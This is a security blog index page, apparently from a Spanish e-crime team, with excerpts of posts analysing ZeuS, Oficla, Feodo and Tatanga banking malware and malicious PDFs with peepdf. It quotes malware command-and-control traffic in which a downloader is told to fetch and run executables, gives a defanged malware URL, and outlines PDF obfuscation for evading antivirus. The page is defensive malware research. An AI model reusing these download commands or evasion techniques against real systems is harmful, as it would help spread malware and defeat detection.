Blogs

Nueva campaña de distribución de ZeuS P2P: ACH transaction canceled

Desde hace unos días se está llevando a cabo una campaña de distribución del troyano ZeuS a través de correo electrónico que ha sido detectada por nuestro equipo. Los correos maliciosos incluyen un link a un supuesto informe sobre una transacción cancelada, que realmente es una página HTML que carga en el navegador de la víctima código Javascript. Este código intenta explotar diferentes vulnerabilidades de Java, Flash y PDF para instalar en el sistema un ZeuS 2.0, una de las últimas versiones que usa P2P como parte de su infraestructura.

Los correos detectados tienen como asunto “ACH transaction canceled” e incluyen en el cuerpo información sobre una supuesta transacción que se ha cancelado. Si se quieren conocer más detalles se debe visitar un link que lleva al informe de la transacción:

Mientras la víctima visualiza por unos segundos una pantalla que le indica que espere se cargan en el navegador del usuario 4 scripts diferentes, alojados en dominios diferentes. Éstos no son más que simples redirecciones hacia el sitio que realmente alberga el código que intentará la explotación.

Analysis of a malicious PDF from a SEO Sploit Pack

According to a Kaspersky Lab article, SEO Sploit Pack is one of the Exploit Kits which appeared in the first months of the year, being PDF and Java vulnerabilities the most used in these type of kits. That's the reason why I've chosen to analyse a malicious PDF file downloaded from a SEO Sploit Pack. The PDF file kissasszod.pdf was downloaded from hxxp://marinada3.com/88/eatavayinquisitive.php and it had a low detection rate. So taking a look at the file with peepdf we can see this information:

In a quick look we can see that there are Javascript code in object 8 and that the element /AcroForm is probably used to execute something when the document is opened. The next step is to explore these objects and find out what will be executed:

Control de amigos y followers en Twitter

Hoy en día casi todo geek que se precie tiene una (o varias) cuentas de Twitter, además de haber probado Google+, que parece haber venido para quedarse. Todos tenemos unos cuantos seguidores y otros cuantos amigos; a veces, tantos que no podemos controlarlos. No podemos saber a ciencia cierta si hace mucho tiempo que uno de nuestros amigos no escribe o si uno de nuestros queridos followers ya no lo es. ¿¿Quieres saber quién te ha hecho "unfollow"?? No, esto no es un mail de SPAM de estos que te dicen que metas tus datos de acceso del messenger para saber quién te ha “desadmitido” ;) Este post trata sobre cómo se puede hacer un sencillo script para controlar estos aspectos en Twitter.

Hablando de Python, que es donde mejor me muevo, hay unas cuantas alternativas a la hora de usar la API de Twitter para hacer nuestros “scriptcillos”. Yo he elegido Tweepy porque me ha parecido bastante fácil de usar y, además, está bastante bien documentada. Lo principal es tener claro lo que queremos:

  • No autenticarnos con ningún usuario

Análisis del reto PDF de Honeynet Project con peepdf (II)

Después de analizar los objetos que nunca se ejecutarían, ahora podemos centrarnos en los que sí que serán procesados por los lectores PDF:

/Catalog (27)
dictionary (28)
   dictionary (22)
       dictionary (23)
           dictionary (22)
           /Annot (24)
               dictionary (23)
               /Page (25)
                   /Pages (26)
                       /Page (25)
   stream (21)
/Pages (26)

Si echamos un vistazo al objeto Catalog:

PPDF> object 27

<< /AcroForm 28 0 R
/MarkInfo << /Marked true >>
/Pages 26 0 R
/Type /Catalog
/Lang en-us
/PageMode /UseAttachments >>

No se ve ningún trigger en este objeto (/OpenAction) ni en el resto de objetos (/AA), así que dirigimos nuestras sospechas hacia el elemento /AcroForm, otra forma de ejecutar código al abrir un documento PDF. Además, el objeto 21, que aparecía como sospechoso (/EmbeddedFile), también está relacionado con el formulario interactivo encontrado (/AcroForm):

Análisis del reto PDF de Honeynet Project con peepdf (I)

El pasado mes de noviembre, The Honeynet Project publicó un nuevo reto, esta vez sobre el análisis de un archivo PDF malicioso. Aunque es un poco antiguo ya, voy a analizarlo con peepdf porque creo que tiene algunas cosas interesantes y peepdf hace el análisis un poco más fácil. El archivo PDF se puede descargar desde aquí.

Lanzando peepdf sin ninguna opción obtenemos el siguiente error:

$ ./peepdf.py -i fcexploit.pdf
Error: parsing indirect object!!
Se trata de un error durante el proceso de "parseo". Cuando analizamos archivos maliciosos es muy recomendable usar la opción -f para ignorar este tipo de errores y continuar con el análisis:

$ ./peepdf.py -fi fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 2

Version 0:
Catalog: 27
Info: 11

ToorCon Seattle 2011

Como comenté en el anterior post, justo después de la Source Seattle de la semana pasada comenzaba la ToorCon también en Seattle, así que algunos ponentes aprovecharon para presentar las mismas u otras ponencias en ambas conferencias. El viernes 17 fue la apertura, con una pequeña fiesta, pero no sería hasta el día siguiente cuando comenzarían las ponencias. Se trataba nada más y nada menos que de treinta charlas, de quince minutos cada una, con un pequeño descanso para comer. En total un día entero de ponencias, de 8:30 a 17:00, que se dice pronto.

Source Seattle 2011

La semana pasada se celebró la conferencia Source en Seattle (Estados Unidos). Se trataba de la primera edición en esta ciudad, por lo que no tuvo una asistencia como puede tener la edición de Boston, pero el ambiente fue magnífico. Desde el martes 14 ya se comenzó con un evento para los ponentes y organizadores con el objetivo de conocerse y disfrutar de unas cervezas y buena comida asiática. Yo fui el representante del equipo de S21sec e-crime con una charla sobre troyanos bancarios.

Blanqueo de dinero a través de sitios de venta de fotos

A mediados del mes pasado, y tras la investigación de un grupo de ciberdelincuentes que usaban ZeuS como forma de enriquecerse, obtuvimos información sobre cómo tenían pensado blanquear ese dinero. Según las instrucciones encontradas (en ruso) su plan se basaba en crear cuentas de vendedores en un sitio de venta de fotos, para posteriormente crear cuentas de compradores con el objetivo de blanquear el dinero y recuperarlo a través de WebMoney.

El grupo responsable de este troyano, probablemente de origen ruso, tenía ciertas anotaciones sobre blanqueo de dinero que parecen haberse sacado de un post de un conocido foro de carding, escrito en enero de 2011. Este mismo post ha sido replicado en distintos foros de la misma temática en febrero y marzo, respectivamente.


Obfuscation and (non-)detection of malicious PDF files

Hace ya más de dos meses que hablé en la Rooted CON (Madrid) sobre diferentes técnicas para ocultar y ofuscar archivos PDF maliciosos. El viernes pasado volví a realizar la misma presentación en el CARO 2011 (Praga), aunque actualizando los datos y con demo de peepdf incluida.
 

 
La idea es usar ciertas malformaciones de los documentos, comentadas en las ponencias de Julia Wolf, y la propia especificación del formato PDF para evitar que los motores antivirus y los parsers de PDFs lleguen a encontrar el contenido malicioso. Para esta tarea hay que tener en cuenta diferentes aspectos de la estructura de este tipo de documentos y mezclarlos para obtener el deseado archivo no detectado. Algunas de las más importante son las siguientes:
 

peepdf v0.1: nueva herramienta de análisis y modificación de archivos PDF

Como ya comenté en mi post anterior, hace unos días se publicó la primera versión de peepdf. Se trata de una herramienta escrita en Python y enfocada al análisis de archivos PDF, por lo que su objetivo principal es el discernir si un documento PDF es malicioso o no. Se presenta inicialmente con una interfaz de consola interactiva donde se pueden ejecutar diferentes comandos para recabar información acerca del archivo. La idea es no tener que usar múltiples herramientas para decodificar objetos, analizar código Javascript o la shellcode, sino usar únicamente una herramienta (con sus wrappers) para el análisis de PDFs. También podéis encontrar la herramienta en la última versión de la distribución BackTrack (¡gracias al equipo de BackTrack!).


Las principales funcionalidades de peepdf son las siguientes:

Análisis

  • Decodificación: hexadecimal, octal, objetos name
  • Implementación de los filtros más usados
  • Referencias en objetos
  • Listado de objetos donde se referencia a otro objeto

Tatanga: un nuevo troyano bancario con funcionalidades de MitB

Hace un par de semanas nuestra unidad de e-crime detectó un nuevo troyano bancario, bautizado con el nombre de Tatanga, con funciones de Man in the Browser (MitB) y que afectaba a bancos de España, Reino Unido, Alemania y Portugal. Al igual que SpyEye, es capaz de realizar transferencias de forma automática, obteniendo previamente los muleros de un servidor, y de falsear el saldo real y los movimientos de las víctimas. Su detección en aquel momento era muy baja y además se trataba de detecciones genéricas. Tras anunciar el descubrimiento en nuestro blog en inglés la detección aumentó, aunque la nomenclatura es bastante dispar.

El troyano en cuestión es bastante sofisticado. Está escrito en C++ y usa técnicas de ocultación para evitar que sus archivos en disco sean detectados, aunque en ocasiones estos quedan al descubierto. Descarga varios módulos cifrados (DLL) que son descifrados en memoria cuando se produce la inyección en navegadores u otros procesos con el objetivo de evitar la detección de los antivirus. Los módulos son los siguientes:

  • ModEmailGrabber: se encarga de recolectar direcciones de correo electrónico.

Enlaces de seguridad en PDFs de 2010: análisis y herramientas

Después de un año repleto de incidentes relacionados con el Portable Document Format (PDF) está bien mirar atrás y recordar algunos de los más importantes. A continuación se enumeran los enlaces de análisis de documentos PDF maliciosos y/o ofuscados, así como algunas herramientas que han hecho aparición en 2010. Espero que las disfrutéis! ;)

Análisis

2010-01-04: Sophisticated, targeted malicious PDF documents exploiting CVE-2009-4324 (binarios embebidos)

2010-01-07: Static analysis of malicous PDFs (Part #2) (getAnnots, arguments.callee)

2010-01-09: PDF Obfuscation (sustitución de variables, LuckySploit, CVE 2008-2992)

2010-01-13: Generic PDF exploit hider. embedPDF.py and goodbye AV detection

2010-01-14: PDF Obfuscation using getAnnots() (getAnnots, arguments.callee, Neosploit)

2010-02-15: Filling Adobe's heap (Javascript, ActionScript e imágenes en PDFs)

2010-02-18: Malicious PDF trick: getPageNthWord

2010-02-21: Analyzing PDF exploits with Pyew

Yet another Oficla email campaign (CV)

This time I've received a nicer e-mail, a woman sending me her CV!! with a picture of her included too!! :) In fact, she has included in the image some words too, a bit strange...

Again the same actors: Oficla and ZeuS. This time not Feodo downloading. Inside the zip file we can find the Oficla sample, with a medium detection rate. It connects with the domain showtimeru.ru (now it's down) to ask for URLs to download more malware:

http://showtimeru.ru/show/bb.php?v=200&id=428308300&b=0711_e&tm=6832
[info]runurl:http://1xx.1xx.1xx.46/test/esmilk.exe|taskid:8|delay:15|upd:0|backurls:[/info]

The server response contained the same URL (active yet) as the DHL campaign, downloading the same version of ZeuS, different MD5.

Beware with women!! they are not trustful!! ;)

DHL e-mail campaign downloading ZeuS and Feodo

This past month a new DHL campaign has been spreading malware in a zip file. The executable in the zip was identified (with a high detection rate) as Oficla by the Antivirus engines. This malicious code, with filename DHL_Etiqueta.exe, acts as a downloader asking a server the URLs it must use to download the other malicious files. It always uses in the requests the User-Agent Opera\9.64. These are the requests and responses in this case:

http://xxxxxx.ru/mydog/bb.php?v=200&id=428308299&b=2510_dhl&tm=1397
[info]runurl:http://1xx.1xx.1xx.xx/test/morph.exe|taskid:16|delay:15|upd:0|backurls:[/info]

http://xxxxxx.ru/mydog/bb.php?v=200&id=428308299&tid=16&b=2510_dhl&r=1&tm=1397
[info]kill:0|runurl:http://1xx.1xx.1xx.xx/test/esmilk.exe|taskid:17|delay:15|upd:0|backurls:[/info]


Both of the downloaded files, morph.exe and esmilk.exe, are banking trojans. The former is a sample of Feodo, with a low detection rate (7/41), which downloads the configuration file from a server after sending to it a POST request:

Más información y reflexiones sobre ZeuS MitMo

Hace mes y medio David Barroso y yo nos fuimos de visita a casa de un usuario de banca electrónica que vivía en un pueblo de Navarra. David extrajo un archivo de su teléfono móvil y yo recuperé algunos archivos relacionados con dos infecciones de ZeuS. Este fue el inicio del llamado ZeuS MitMo.

Cuando ZeuS inyecta código HTML, normalmente solicita al usuario que ingrese la clave de firma o las posiciones de la tarjeta de coordenadas para poder realizar transferencias fraudulentas, pero a veces esta información no es suficiente. Algunos bancos solicitan además un código, enviado a través de SMS, que el usuario (o el criminal) deberá introducir para completar la transacción. Cuando el MitMo no existía, esta segunda autenticación era un éxito, pero no a partir de aquel día. El grupo responsable de esta nueva oleada de infecciones se había preocupado de modificar las inyecciones HTML para solicitar, además de los datos habituales, el número de teléfono móvil. Ya lo habíamos visto anteriormente, pero hasta el momento nunca se había usado para cometer el fraude. En esta ocasión, una vez introducido el número de teléfono, los delincuentes enviaron un SMS a la víctima donde se incluía un enlace y se instaba al usuario a instalar un “certificado”. Cuando el usuario lo hizo, una aplicación maliciosa comenzó a monitorizar los mensajes entrantes en busca de los remitidos por el banco en cuestión, y reenviándolo a los criminales. De esta forma, tenían en su poder toda la información necesaria para poder realizar la transacción de forma satisfactoria.

Distribuir contenido